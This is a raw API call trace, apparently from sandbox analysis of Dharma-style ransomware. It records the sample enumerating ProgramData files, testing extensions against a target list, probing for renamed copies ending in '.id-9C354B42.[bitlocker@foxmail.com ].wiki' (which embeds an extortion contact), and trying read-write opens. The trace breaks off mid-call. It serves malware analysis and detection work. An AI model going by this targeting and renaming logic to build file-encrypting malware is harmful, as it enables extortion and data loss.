"c:\\programdata\\microsoft\\windows\\devicemetadatastore\\en-us\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms")) returned 0x20 [0171.673] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatastore\\en-us\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.673] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatastore\\en-us\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.674] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms") returned 113 [0171.674] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms") returned 113 [0171.674] lstrlenW (lpString=".doc") returned 4 [0171.674] lstrcmpiW (lpString1=".doc", lpString2="a-ms") returned -1 [0171.674] lstrlenW (lpString=".docx") returned 5 [0171.674] lstrcmpiW (lpString1=".docx", lpString2="ta-ms") returned -1 [0171.674] lstrlenW (lpString=".pdf") returned 4 [0171.674] lstrcmpiW (lpString1=".pdf", lpString2="a-ms") returned -1 [0171.674] lstrlenW (lpString=".xls") returned 4 [0171.674] lstrcmpiW (lpString1=".xls", lpString2="a-ms") returned -1 [0171.674] lstrlenW (lpString=".xlsx") returned 5 [0171.674] lstrcmpiW (lpString1=".xlsx", lpString2="ta-ms") returned -1 [0171.674] lstrlenW (lpString=".ppt") returned 4 [0171.674] lstrcmpiW (lpString1=".ppt", lpString2="a-ms") returned -1 [0171.674] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms") returned 113 [0171.674] lstrlenW (lpString=".zip") returned 4 [0171.674] lstrcmpiW (lpString1=".zip", lpString2="a-ms") returned -1 [0171.674] lstrlenW (lpString=".rar") returned 4 [0171.674] lstrcmpiW (lpString1=".rar", lpString2="a-ms") returned -1 [0171.674] lstrlenW (lpString=".bz2") returned 4 [0171.674] lstrcmpiW (lpString1=".bz2", lpString2="a-ms") returned -1 [0171.674] lstrlenW (lpString=".7z") returned 3 [0171.674] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0171.674] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms") returned 113 [0171.674] lstrlenW (lpString=".dbf") returned 4 [0171.674] lstrcmpiW (lpString1=".dbf", lpString2="a-ms") returned -1 [0171.674] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms") returned 113 [0171.674] lstrlenW (lpString=".1cd") returned 4 [0171.675] lstrcmpiW (lpString1=".1cd", lpString2="a-ms") returned -1 [0171.675] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms") returned 113 [0171.675] lstrlenW (lpString=".jpg") returned 4 [0171.675] lstrcmpiW (lpString1=".jpg", lpString2="a-ms") returned -1 [0171.675] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms") returned 113 [0171.675] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms") returned 113 [0171.675] lstrlenW (lpString=".doc") returned 4 [0171.675] lstrcmpiW (lpString1=".doc", lpString2="a-ms") returned -1 [0171.675] lstrlenW (lpString=".docx") returned 5 [0171.675] lstrcmpiW (lpString1=".docx", lpString2="ta-ms") returned -1 [0171.675] lstrlenW (lpString=".pdf") returned 4 [0171.675] lstrcmpiW (lpString1=".pdf", lpString2="a-ms") returned -1 [0171.675] lstrlenW (lpString=".xls") returned 4 [0171.675] lstrcmpiW (lpString1=".xls", lpString2="a-ms") returned -1 [0171.675] lstrlenW (lpString=".xlsx") returned 5 [0171.675] lstrcmpiW (lpString1=".xlsx", lpString2="ta-ms") returned -1 [0171.675] lstrlenW (lpString=".ppt") returned 4 [0171.675] lstrcmpiW (lpString1=".ppt", lpString2="a-ms") returned -1 [0171.675] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms") returned 113 [0171.675] lstrlenW (lpString=".zip") returned 4 [0171.675] lstrcmpiW (lpString1=".zip", lpString2="a-ms") returned -1 [0171.675] lstrlenW (lpString=".rar") returned 4 [0171.675] lstrcmpiW (lpString1=".rar", lpString2="a-ms") returned -1 [0171.675] lstrlenW (lpString=".bz2") returned 4 [0171.675] lstrcmpiW (lpString1=".bz2", lpString2="a-ms") returned -1 [0171.675] lstrlenW (lpString=".7z") returned 3 [0171.675] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0171.676] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms") returned 113 [0171.676] lstrlenW (lpString=".dbf") returned 4 [0171.676] lstrcmpiW (lpString1=".dbf", lpString2="a-ms") returned -1 [0171.676] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms") returned 113 [0171.676] lstrlenW (lpString=".1cd") returned 4 [0171.676] lstrcmpiW (lpString1=".1cd", lpString2="a-ms") returned -1 [0171.676] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms") returned 113 [0171.676] lstrlenW (lpString=".jpg") returned 4 [0171.676] lstrcmpiW (lpString1=".jpg", lpString2="a-ms") returned -1 [0171.676] lstrcmpiW (lpString1=".devicemetadata-ms", lpString2=".wiki") returned -1 [0171.676] lstrlenW (lpString="63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms") returned 54 [0171.676] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatastore\\en-us\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.676] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=110457) returned 1 [0171.676] CloseHandle (hObject=0x1b4) returned 1 [0171.677] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatastore\\en-us\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms")) returned 0x20 [0171.677] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatastore\\en-us\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.677] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatastore\\en-us\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.677] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms") returned 113 [0171.677] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms") returned 113 [0171.677] lstrlenW (lpString=".doc") returned 4 [0171.677] lstrcmpiW (lpString1=".doc", lpString2="a-ms") returned -1 [0171.677] lstrlenW (lpString=".docx") returned 5 [0171.677] lstrcmpiW (lpString1=".docx", lpString2="ta-ms") returned -1 [0171.677] lstrlenW (lpString=".pdf") returned 4 [0171.677] lstrcmpiW (lpString1=".pdf", lpString2="a-ms") returned -1 [0171.677] lstrlenW (lpString=".xls") returned 4 [0171.677] lstrcmpiW (lpString1=".xls", lpString2="a-ms") returned -1 [0171.677] lstrlenW (lpString=".xlsx") returned 5 [0171.677] lstrcmpiW (lpString1=".xlsx", lpString2="ta-ms") returned -1 [0171.677] lstrlenW (lpString=".ppt") returned 4 [0171.677] lstrcmpiW (lpString1=".ppt", lpString2="a-ms") returned -1 [0171.677] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms") returned 113 [0171.677] lstrlenW (lpString=".zip") returned 4 [0171.677] lstrcmpiW (lpString1=".zip", lpString2="a-ms") returned -1 [0171.677] lstrlenW (lpString=".rar") returned 4 [0171.677] lstrcmpiW (lpString1=".rar", lpString2="a-ms") returned -1 [0171.677] lstrlenW (lpString=".bz2") returned 4 [0171.677] lstrcmpiW (lpString1=".bz2", lpString2="a-ms") returned -1 [0171.677] lstrlenW (lpString=".7z") returned 3 [0171.677] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0171.677] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms") returned 113 [0171.678] lstrlenW (lpString=".dbf") returned 4 [0171.678] lstrcmpiW (lpString1=".dbf", lpString2="a-ms") returned -1 [0171.678] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms") returned 113 [0171.678] lstrlenW (lpString=".1cd") returned 4 [0171.678] lstrcmpiW (lpString1=".1cd", lpString2="a-ms") returned -1 [0171.678] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms") returned 113 [0171.678] lstrlenW (lpString=".jpg") returned 4 [0171.678] lstrcmpiW (lpString1=".jpg", lpString2="a-ms") returned -1 [0171.678] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms") returned 113 [0171.678] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms") returned 113 [0171.678] lstrlenW (lpString=".doc") returned 4 [0171.678] lstrcmpiW (lpString1=".doc", lpString2="a-ms") returned -1 [0171.678] lstrlenW (lpString=".docx") returned 5 [0171.678] lstrcmpiW (lpString1=".docx", lpString2="ta-ms") returned -1 [0171.678] lstrlenW (lpString=".pdf") returned 4 [0171.678] lstrcmpiW (lpString1=".pdf", lpString2="a-ms") returned -1 [0171.678] lstrlenW (lpString=".xls") returned 4 [0171.678] lstrcmpiW (lpString1=".xls", lpString2="a-ms") returned -1 [0171.678] lstrlenW (lpString=".xlsx") returned 5 [0171.678] lstrcmpiW (lpString1=".xlsx", lpString2="ta-ms") returned -1 [0171.678] lstrlenW (lpString=".ppt") returned 4 [0171.678] lstrcmpiW (lpString1=".ppt", lpString2="a-ms") returned -1 [0171.678] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms") returned 113 [0171.678] lstrlenW (lpString=".zip") returned 4 [0171.678] lstrcmpiW (lpString1=".zip", lpString2="a-ms") returned -1 [0171.678] lstrlenW (lpString=".rar") returned 4 [0171.678] lstrcmpiW (lpString1=".rar", lpString2="a-ms") returned -1 [0171.678] lstrlenW (lpString=".bz2") returned 4 [0171.678] lstrcmpiW (lpString1=".bz2", lpString2="a-ms") returned -1 [0171.678] lstrlenW (lpString=".7z") returned 3 [0171.678] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0171.679] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms") returned 113 [0171.679] lstrlenW (lpString=".dbf") returned 4 [0171.679] lstrcmpiW (lpString1=".dbf", lpString2="a-ms") returned -1 [0171.679] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms") returned 113 [0171.679] lstrlenW (lpString=".1cd") returned 4 [0171.679] lstrcmpiW (lpString1=".1cd", lpString2="a-ms") returned -1 [0171.679] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms") returned 113 [0171.679] lstrlenW (lpString=".jpg") returned 4 [0171.679] lstrcmpiW (lpString1=".jpg", lpString2="a-ms") returned -1 [0171.679] lstrcmpiW (lpString1=".wma", lpString2=".wiki") returned 1 [0171.679] lstrlenW (lpString="Ringtone 01.wma") returned 15 [0171.679] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 01.wma"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.680] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=201833) returned 1 [0171.680] CloseHandle (hObject=0x1b4) returned 1 [0171.680] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 01.wma")) returned 0x20 [0171.680] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 01.wma.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.680] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 01.wma"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.680] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma") returned 58 [0171.680] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma") returned 58 [0171.680] lstrlenW (lpString=".doc") returned 4 [0171.680] lstrcmpiW (lpString1=".doc", lpString2=".wma") returned -1 [0171.680] lstrlenW (lpString=".docx") returned 5 [0171.681] lstrcmpiW (lpString1=".docx", lpString2="1.wma") returned -1 [0171.681] lstrlenW (lpString=".pdf") returned 4 [0171.681] lstrcmpiW (lpString1=".pdf", lpString2=".wma") returned -1 [0171.681] lstrlenW (lpString=".xls") returned 4 [0171.681] lstrcmpiW (lpString1=".xls", lpString2=".wma") returned 1 [0171.681] lstrlenW (lpString=".xlsx") returned 5 [0171.681] lstrcmpiW (lpString1=".xlsx", lpString2="1.wma") returned -1 [0171.681] lstrlenW (lpString=".ppt") returned 4 [0171.681] lstrcmpiW (lpString1=".ppt", lpString2=".wma") returned -1 [0171.681] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma") returned 58 [0171.681] lstrlenW (lpString=".zip") returned 4 [0171.681] lstrcmpiW (lpString1=".zip", lpString2=".wma") returned 1 [0171.681] lstrlenW (lpString=".rar") returned 4 [0171.681] lstrcmpiW (lpString1=".rar", lpString2=".wma") returned -1 [0171.681] lstrlenW (lpString=".bz2") returned 4 [0171.681] lstrcmpiW (lpString1=".bz2", lpString2=".wma") returned -1 [0171.681] lstrlenW (lpString=".7z") returned 3 [0171.681] lstrcmpiW (lpString1=".7z", lpString2="wma") returned -1 [0171.681] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma") returned 58 [0171.681] lstrlenW (lpString=".dbf") returned 4 [0171.681] lstrcmpiW (lpString1=".dbf", lpString2=".wma") returned -1 [0171.681] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma") returned 58 [0171.681] lstrlenW (lpString=".1cd") returned 4 [0171.681] lstrcmpiW (lpString1=".1cd", lpString2=".wma") returned -1 [0171.681] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma") returned 58 [0171.681] lstrlenW (lpString=".jpg") returned 4 [0171.681] lstrcmpiW (lpString1=".jpg", lpString2=".wma") returned -1 [0171.681] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma") returned 58 [0171.682] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma") returned 58 [0171.682] lstrlenW (lpString=".doc") returned 4 [0171.682] lstrcmpiW (lpString1=".doc", lpString2=".wma") returned -1 [0171.682] lstrlenW (lpString=".docx") returned 5 [0171.682] lstrcmpiW (lpString1=".docx", lpString2="1.wma") returned -1 [0171.682] lstrlenW (lpString=".pdf") returned 4 [0171.682] lstrcmpiW (lpString1=".pdf", lpString2=".wma") returned -1 [0171.682] lstrlenW (lpString=".xls") returned 4 [0171.682] lstrcmpiW (lpString1=".xls", lpString2=".wma") returned 1 [0171.682] lstrlenW (lpString=".xlsx") returned 5 [0171.682] lstrcmpiW (lpString1=".xlsx", lpString2="1.wma") returned -1 [0171.682] lstrlenW (lpString=".ppt") returned 4 [0171.682] lstrcmpiW (lpString1=".ppt", lpString2=".wma") returned -1 [0171.682] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma") returned 58 [0171.682] lstrlenW (lpString=".zip") returned 4 [0171.682] lstrcmpiW (lpString1=".zip", lpString2=".wma") returned 1 [0171.682] lstrlenW (lpString=".rar") returned 4 [0171.682] lstrcmpiW (lpString1=".rar", lpString2=".wma") returned -1 [0171.682] lstrlenW (lpString=".bz2") returned 4 [0171.682] lstrcmpiW (lpString1=".bz2", lpString2=".wma") returned -1 [0171.682] lstrlenW (lpString=".7z") returned 3 [0171.682] lstrcmpiW (lpString1=".7z", lpString2="wma") returned -1 [0171.682] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma") returned 58 [0171.682] lstrlenW (lpString=".dbf") returned 4 [0171.682] lstrcmpiW (lpString1=".dbf", lpString2=".wma") returned -1 [0171.682] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma") returned 58 [0171.682] lstrlenW (lpString=".1cd") returned 4 [0171.682] lstrcmpiW (lpString1=".1cd", lpString2=".wma") returned -1 [0171.682] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma") returned 58 [0171.682] lstrlenW (lpString=".jpg") returned 4 [0171.682] lstrcmpiW (lpString1=".jpg", lpString2=".wma") returned -1 [0171.683] lstrcmpiW (lpString1=".wma", lpString2=".wiki") returned 1 [0171.683] lstrlenW (lpString="Ringtone 02.wma") returned 15 [0171.683] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 02.wma"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.684] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=139199) returned 1 [0171.684] CloseHandle (hObject=0x1b4) returned 1 [0171.684] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 02.wma")) returned 0x20 [0171.684] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 02.wma.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.684] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 02.wma"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.684] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma") returned 58 [0171.684] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma") returned 58 [0171.684] lstrlenW (lpString=".doc") returned 4 [0171.684] lstrcmpiW (lpString1=".doc", lpString2=".wma") returned -1 [0171.684] lstrlenW (lpString=".docx") returned 5 [0171.684] lstrcmpiW (lpString1=".docx", lpString2="2.wma") returned -1 [0171.684] lstrlenW (lpString=".pdf") returned 4 [0171.684] lstrcmpiW (lpString1=".pdf", lpString2=".wma") returned -1 [0171.684] lstrlenW (lpString=".xls") returned 4 [0171.684] lstrcmpiW (lpString1=".xls", lpString2=".wma") returned 1 [0171.684] lstrlenW (lpString=".xlsx") returned 5 [0171.684] lstrcmpiW (lpString1=".xlsx", lpString2="2.wma") returned -1 [0171.684] lstrlenW (lpString=".ppt") returned 4 [0171.684] lstrcmpiW (lpString1=".ppt", lpString2=".wma") returned -1 [0171.684] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma") returned 58 [0171.684] lstrlenW (lpString=".zip") returned 4 [0171.684] lstrcmpiW (lpString1=".zip", lpString2=".wma") returned 1 [0171.685] lstrlenW (lpString=".rar") returned 4 [0171.685] lstrcmpiW (lpString1=".rar", lpString2=".wma") returned -1 [0171.685] lstrlenW (lpString=".bz2") returned 4 [0171.685] lstrcmpiW (lpString1=".bz2", lpString2=".wma") returned -1 [0171.685] lstrlenW (lpString=".7z") returned 3 [0171.685] lstrcmpiW (lpString1=".7z", lpString2="wma") returned -1 [0171.685] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma") returned 58 [0171.685] lstrlenW (lpString=".dbf") returned 4 [0171.685] lstrcmpiW (lpString1=".dbf", lpString2=".wma") returned -1 [0171.685] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma") returned 58 [0171.685] lstrlenW (lpString=".1cd") returned 4 [0171.685] lstrcmpiW (lpString1=".1cd", lpString2=".wma") returned -1 [0171.685] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma") returned 58 [0171.685] lstrlenW (lpString=".jpg") returned 4 [0171.685] lstrcmpiW (lpString1=".jpg", lpString2=".wma") returned -1 [0171.685] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma") returned 58 [0171.685] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma") returned 58 [0171.685] lstrlenW (lpString=".doc") returned 4 [0171.685] lstrcmpiW (lpString1=".doc", lpString2=".wma") returned -1 [0171.685] lstrlenW (lpString=".docx") returned 5 [0171.685] lstrcmpiW (lpString1=".docx", lpString2="2.wma") returned -1 [0171.685] lstrlenW (lpString=".pdf") returned 4 [0171.685] lstrcmpiW (lpString1=".pdf", lpString2=".wma") returned -1 [0171.685] lstrlenW (lpString=".xls") returned 4 [0171.685] lstrcmpiW (lpString1=".xls", lpString2=".wma") returned 1 [0171.685] lstrlenW (lpString=".xlsx") returned 5 [0171.685] lstrcmpiW (lpString1=".xlsx", lpString2="2.wma") returned -1 [0171.685] lstrlenW (lpString=".ppt") returned 4 [0171.685] lstrcmpiW (lpString1=".ppt", lpString2=".wma") returned -1 [0171.685] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma") returned 58 [0171.686] lstrlenW (lpString=".zip") returned 4 [0171.686] lstrcmpiW (lpString1=".zip", lpString2=".wma") returned 1 [0171.686] lstrlenW (lpString=".rar") returned 4 [0171.686] lstrcmpiW (lpString1=".rar", lpString2=".wma") returned -1 [0171.686] lstrlenW (lpString=".bz2") returned 4 [0171.686] lstrcmpiW (lpString1=".bz2", lpString2=".wma") returned -1 [0171.686] lstrlenW (lpString=".7z") returned 3 [0171.686] lstrcmpiW (lpString1=".7z", lpString2="wma") returned -1 [0171.686] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma") returned 58 [0171.686] lstrlenW (lpString=".dbf") returned 4 [0171.686] lstrcmpiW (lpString1=".dbf", lpString2=".wma") returned -1 [0171.686] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma") returned 58 [0171.686] lstrlenW (lpString=".1cd") returned 4 [0171.686] lstrcmpiW (lpString1=".1cd", lpString2=".wma") returned -1 [0171.686] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma") returned 58 [0171.686] lstrlenW (lpString=".jpg") returned 4 [0171.686] lstrcmpiW (lpString1=".jpg", lpString2=".wma") returned -1 [0171.686] lstrcmpiW (lpString1=".wma", lpString2=".wiki") returned 1 [0171.686] lstrlenW (lpString="Ringtone 03.wma") returned 15 [0171.686] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 03.wma"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.687] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=94457) returned 1 [0171.687] CloseHandle (hObject=0x1b4) returned 1 [0171.687] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 03.wma")) returned 0x20 [0171.687] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 03.wma.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.687] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 03.wma"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.687] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma") returned 58 [0171.687] 